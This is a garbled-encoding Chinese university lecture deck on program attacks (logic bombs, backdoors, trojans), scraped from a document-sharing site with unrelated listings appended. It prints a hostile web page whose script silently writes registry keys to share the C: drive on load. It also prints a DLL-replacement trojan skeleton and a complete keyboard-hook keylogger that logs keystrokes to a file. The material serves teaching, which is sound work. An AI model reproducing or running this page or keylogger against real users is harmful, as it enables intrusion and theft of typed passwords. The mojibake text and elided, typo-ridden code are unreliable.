版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
網(wǎng)絡(luò)安全羅敏武漢大學(xué)計(jì)算機(jī)學(xué)院
jsjgfzx@1第5章緩沖區(qū)溢出攻擊回顧緩沖區(qū)溢出攻擊的基本原理、方法緩沖區(qū)溢出程序的原理及要素攻擊UNIX攻擊WINDOWS2第6章程序攻擊本章列出了常用的程序攻擊方法,介紹了邏輯炸彈、后門、病毒及特洛伊木馬等的概念和特點(diǎn),并用實(shí)例說(shuō)明工作原理,提供和分析了部分代碼以便更深入地學(xué)習(xí)和了解技術(shù)原理。3第6章程序攻擊6.1邏輯炸彈攻擊6.2
植入后門6.3
病毒攻擊6.4
特洛伊木馬攻擊6.5
其它程序攻擊4
邏輯炸彈攻擊定義一種隱藏于計(jì)算機(jī)系統(tǒng)中以某種方式觸發(fā)后對(duì)計(jì)算機(jī)系統(tǒng)硬件、軟件或數(shù)據(jù)進(jìn)行惡意破壞的程序代碼觸發(fā)方式時(shí)間觸發(fā)、特定操作觸發(fā)、滿足某一條件的觸發(fā)等第6章第1節(jié)5
邏輯炸彈攻擊特征隱蔽性:邏輯炸彈一般都比較短小,容易附著在系統(tǒng)或文件上而不容易察覺(jué),也可能被惡意隱藏在一些常用工具軟件代碼中攻擊性:邏輯炸彈都具有攻擊性,一旦被激發(fā),或是干擾屏幕顯示,或降低電腦運(yùn)行速度,或是刪除程序,破壞數(shù)據(jù)邏輯炸彈沒(méi)有“傳染性”第6章第1節(jié)6
植入后門定義后門是計(jì)算機(jī)入侵者攻擊網(wǎng)上其它計(jì)算機(jī)成功后為方便下次進(jìn)入這臺(tái)被攻擊計(jì)算機(jī)而采取的一些欺騙手段和程序目的再次進(jìn)入、不被發(fā)現(xiàn)健壯性第6章第2節(jié)7
植入后門攻擊方法獲取盡可能多的用戶口令,并不會(huì)被管理員察覺(jué)或查封更改配置例如:rhosts替換程序(包括源代碼,函數(shù)庫(kù),內(nèi)核)要點(diǎn):時(shí)間、校驗(yàn)和開(kāi)設(shè)新的服務(wù),定時(shí)開(kāi)啟服務(wù)第6章第2節(jié)8
植入后門隱藏代碼:壞扇區(qū),Boot通訊:TCP,UDP和ICMPShell后門:TCP/UDP/ICMP第6章第2節(jié)9
植入后門隱藏執(zhí)行DLLRundll32.exeDllcache動(dòng)態(tài)嵌入掛接API,全局鉤子(HOOK),遠(yuǎn)程線程第6章第2節(jié)10
植入后門Unix后門netcatncpbshVetescan后門軟件http://
第6章第2節(jié)11
病毒攻擊詳見(jiàn)第13章網(wǎng)絡(luò)病毒防治第6章第3節(jié)12
特洛伊木馬攻擊定義特洛伊木馬,簡(jiǎn)稱木馬,英文名為Trojanhorse計(jì)算機(jī)領(lǐng)域的“特洛伊木馬(Trojan)”,是指附著在應(yīng)用程序中或者單獨(dú)存在的一些惡意程序,它可以利用網(wǎng)絡(luò)遠(yuǎn)程響應(yīng)網(wǎng)絡(luò)另一端的控制程序的控制命令,實(shí)現(xiàn)對(duì)感染木馬程序的計(jì)算機(jī)的控制,或者竊取感染木馬程序的計(jì)算機(jī)上的機(jī)密資料。第6章第4節(jié)13
特洛伊木馬攻擊工作原理木馬程序一般利用TCP/IP協(xié)議,采用C/S結(jié)構(gòu),分為客戶端和服務(wù)器端兩個(gè)部分服務(wù)器端程序運(yùn)行于被攻擊的計(jì)算機(jī)上,而客戶端程序在控制者的計(jì)算機(jī)上運(yùn)行客戶端程序可以同時(shí)向很多服務(wù)端程序發(fā)送命令以控制這些計(jì)算機(jī)??蛻舳顺绦蛞话闾峁┯押玫牟僮鹘缑?,以便于用戶的操作,其功能可能很多第6章第4節(jié)14
特洛伊木馬攻擊功能分類遠(yuǎn)程訪問(wèn)型木馬密碼發(fā)送型木馬鍵盤記錄型木馬毀壞型木馬FTP型木馬第6章第4節(jié)15
特洛伊木馬攻擊通訊分類主動(dòng)型木馬反彈型木馬嵌入式木馬第6章第4節(jié)16
特洛伊木馬攻擊冰河文件瀏覽器屏幕監(jiān)視鍵盤鼠標(biāo)控制其它控制支持配置glacier第6章第4節(jié)17
特洛伊木馬攻擊反彈型木馬它利用防火墻對(duì)內(nèi)部發(fā)起的連接請(qǐng)求無(wú)條件信任的特點(diǎn),假冒是系統(tǒng)的合法網(wǎng)絡(luò)請(qǐng)求與木馬的客戶端建立連接,從而達(dá)到對(duì)被攻擊計(jì)算機(jī)控制的目的第6章第4節(jié)18
特洛伊木馬攻擊網(wǎng)絡(luò)神偷遠(yuǎn)程文件訪問(wèn),而不是遠(yuǎn)程控制反彈端口HTTP隧道服務(wù)器端上線通知功能通訊加密第6章第4節(jié)19
特洛伊木馬攻擊嵌入式木馬嵌入網(wǎng)頁(yè)的共享式木馬<html> <head> <title>共享木馬</title> </head> <script> functionkillErrors() {returntrue;} </script>第6章第4節(jié)20
<scriptlanguage=JScript> document.write("<APPLETHEIGHT=0WIDTH=0code=com.ms.activeX.ActiveXComponent></APPLET>");functionmmain(){try{
aa=document.applets[0]; aa.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0b}");
aa.createInstance();
commandsh=aa.GetObject();{commandsh.RegWrite("HKLM\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\C$\\Flags",302,"REG_DWORD");commandsh.RegWrite("HKLM\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\C$\\Type",0,"REG_DWORD"); commandsh.RegWrite("HKLM\\SoftWare\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\C$\\Path","C:\\");第6章第4節(jié)21
} } catch(e){} } functionstart(){setTimeOut("mmain()",1000);} start(); </script> <bodybgcolor=#FFFFFFtopmargin=0leftmargin=0> <p>你好。。。。。。。</p><p>全世界最好的網(wǎng)頁(yè)</p> </body></html>第6章第4節(jié)22
特洛伊木馬攻擊嵌入式木馬DLL木馬替換系統(tǒng)原有DLL,模仿原有功能,并加入后門#include<windows.h>#include<stdio.h>#include<winsock.h>voidmuma_thread(){ //生成木馬的服務(wù)器線程
………}//…..必須輸出與原wsock32.dll庫(kù)同樣的函數(shù)第6章第4節(jié)23BOOLWINAPIDllMain(HANDLE
hInst,ULONGulReasonForCall,LPVOIDlpReserved){//裝載原動(dòng)態(tài)庫(kù)if(i==NULL){ i=LoadLibrary(wsock32.dle);}else return1;if(i!=NULL){//取得與原同名函數(shù)地址a=GetProcAddress(I,”send”);send1=(int(_stdcall*)(SOCKET,constchar*,int,int))a;a=GetProcAddress(I,”recv”);recv1=(int(_stdcall*)(SOCKET,constchar*,int,int))a;}第6章第4節(jié)24else return0;………………替換原來(lái)的所有函數(shù)導(dǎo)出,以確保程序運(yùn)行正常。}intPASCALFARsend(SOCKETs,constchar*buf,int
len,intflags){ ……完成send函數(shù)的功能}intPASCALFARrecv(SOCKETs,charFAR*buf,int
len,intflags){ ……完成recv函數(shù)的功能}第6章第4節(jié)25
特洛伊木馬攻擊木馬的實(shí)現(xiàn)技術(shù)自動(dòng)啟動(dòng)技術(shù)隱藏技術(shù)遠(yuǎn)程監(jiān)控技術(shù)
第6章第4節(jié)26
特洛伊木馬攻擊木馬的實(shí)現(xiàn)技術(shù)自動(dòng)啟動(dòng)技術(shù)啟動(dòng)組、win.ini、system.ini、注冊(cè)表第6章第4節(jié)27
特洛伊木馬攻擊木馬的實(shí)現(xiàn)技術(shù)隱藏技術(shù)任務(wù)欄任務(wù)管理器服務(wù)管理器DLL替換遠(yuǎn)程線程第6章第4節(jié)28
特洛伊木馬攻擊木馬的實(shí)現(xiàn)技術(shù)遠(yuǎn)程監(jiān)控技術(shù)對(duì)對(duì)方計(jì)算機(jī)的監(jiān)視包括對(duì)對(duì)方主機(jī)的鼠標(biāo)、鍵盤以及屏幕顯示甚至網(wǎng)絡(luò)通訊流量流向等的監(jiān)視,也包括對(duì)對(duì)方計(jì)算機(jī)系統(tǒng)信息(包括磁盤信息、操作系統(tǒng)信息及硬件信息)的搜集
遠(yuǎn)程控制則是攻擊者控制目標(biāo)機(jī)按照自己的意愿在被攻擊計(jì)算機(jī)上運(yùn)行程序或者關(guān)閉對(duì)方的功能,包括控制對(duì)方的鼠標(biāo)、鍵盤、操作系統(tǒng),在對(duì)方計(jì)算機(jī)上啟動(dòng)服務(wù),或者關(guān)閉對(duì)方計(jì)算機(jī)等第6章第4節(jié)29
特洛伊木馬攻擊鍵盤型木馬extern"C"BOOL_declspec(dllexport)__stdcall
installhook(){ FILE*f1=NULL; f1=fopen("e:\\hook.txt","w"); fclose(f1);
hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0); returnTRUE;}第6章第4節(jié)30HHOOK hkb;LRESULT__declspec(dllexport)__stdcallCALLBACKKeyboardProc(int
nCode,WPARAMwParam,LPARAM
lParam){ charch; if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode)) {
if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f)&&(wParam<=0x100)) { FILE*f1; f1=fopen("e:\\hook.txt","a+");//打開(kāi)文件
if(wParam==VK_RETURN) {
ch='\n';
fwrite(&ch,1,1,f1);//將鍵盤按鍵的字母寫入文件
}第6章第4節(jié)31
else { BYTEks[256];
GetKeyboardState(ks); WORDw; UINTscan; scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch=char(w);
fwrite(&ch,1,1,f1);//將鍵盤按鍵的字母寫入文件
} fclose(f1); } } LRESULTRetVal=CallNextHookEx(hkb,nCode,wParam,lParam); returnRetVal;}第6章第4節(jié)32BOOL_declspec(dllexport)UnHook(){ BOOLunhooked=UnhookWindowsHookEx(hkb); return unhooked;}//*.h中聲明如下LRESULT__declspec(dllexport)__stdcallCALLBACKKeyboardProc(
int
nCode,WPARAMwParam,LPARAMlParam);extern"C"BOOL_declspec(dllexport)__stdcall
installhook();第6章第4節(jié)33
其它程序攻擊郵件炸彈與垃圾郵件
常用攻擊工具upyours4、KaBoom3、H
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2024年雞場(chǎng)生態(tài)養(yǎng)殖與技術(shù)開(kāi)發(fā)合同3篇
- 2024適用個(gè)人借貸協(xié)議模板版B版
- 2024年第三方擔(dān)保責(zé)任合同執(zhí)行與監(jiān)督管理細(xì)則3篇
- 2024年離婚財(cái)產(chǎn)分配模板合同
- 2025年度風(fēng)力發(fā)電機(jī)組安裝合同3篇
- 2024環(huán)保項(xiàng)目居間合作合同
- 2024智能交通工具設(shè)計(jì)與制造合作協(xié)議
- 2024旅行社租車協(xié)議、合同
- 2024年社區(qū)生鮮自助取貨協(xié)議3篇
- 2024房地產(chǎn)融資居間合同格式范文
- 2024年酒店式公寓承包合同
- 學(xué)校安全存在的問(wèn)題及整改措施
- 2025年八省聯(lián)考內(nèi)蒙古高考生物試卷真題答案詳解(精校打印)
- 校園公園綠化養(yǎng)護(hù)協(xié)議
- 貓抓病的護(hù)理
- 2024版城市綠化養(yǎng)護(hù)合同補(bǔ)充協(xié)議3篇
- GB/T 19799.2-2024無(wú)損檢測(cè)超聲檢測(cè)試塊第2部分:2號(hào)標(biāo)準(zhǔn)試塊
- 2024-2025學(xué)年冀教新版八年級(jí)上冊(cè)數(shù)學(xué)期末復(fù)習(xí)試卷(含詳解)
- DB45T 1831-2018 汽車加油加氣站防雷裝置檢測(cè)技術(shù)規(guī)范
- 水資源調(diào)配與優(yōu)化-洞察分析
- 無(wú)人機(jī)職業(yè)生涯規(guī)劃
評(píng)論
0/150
提交評(píng)論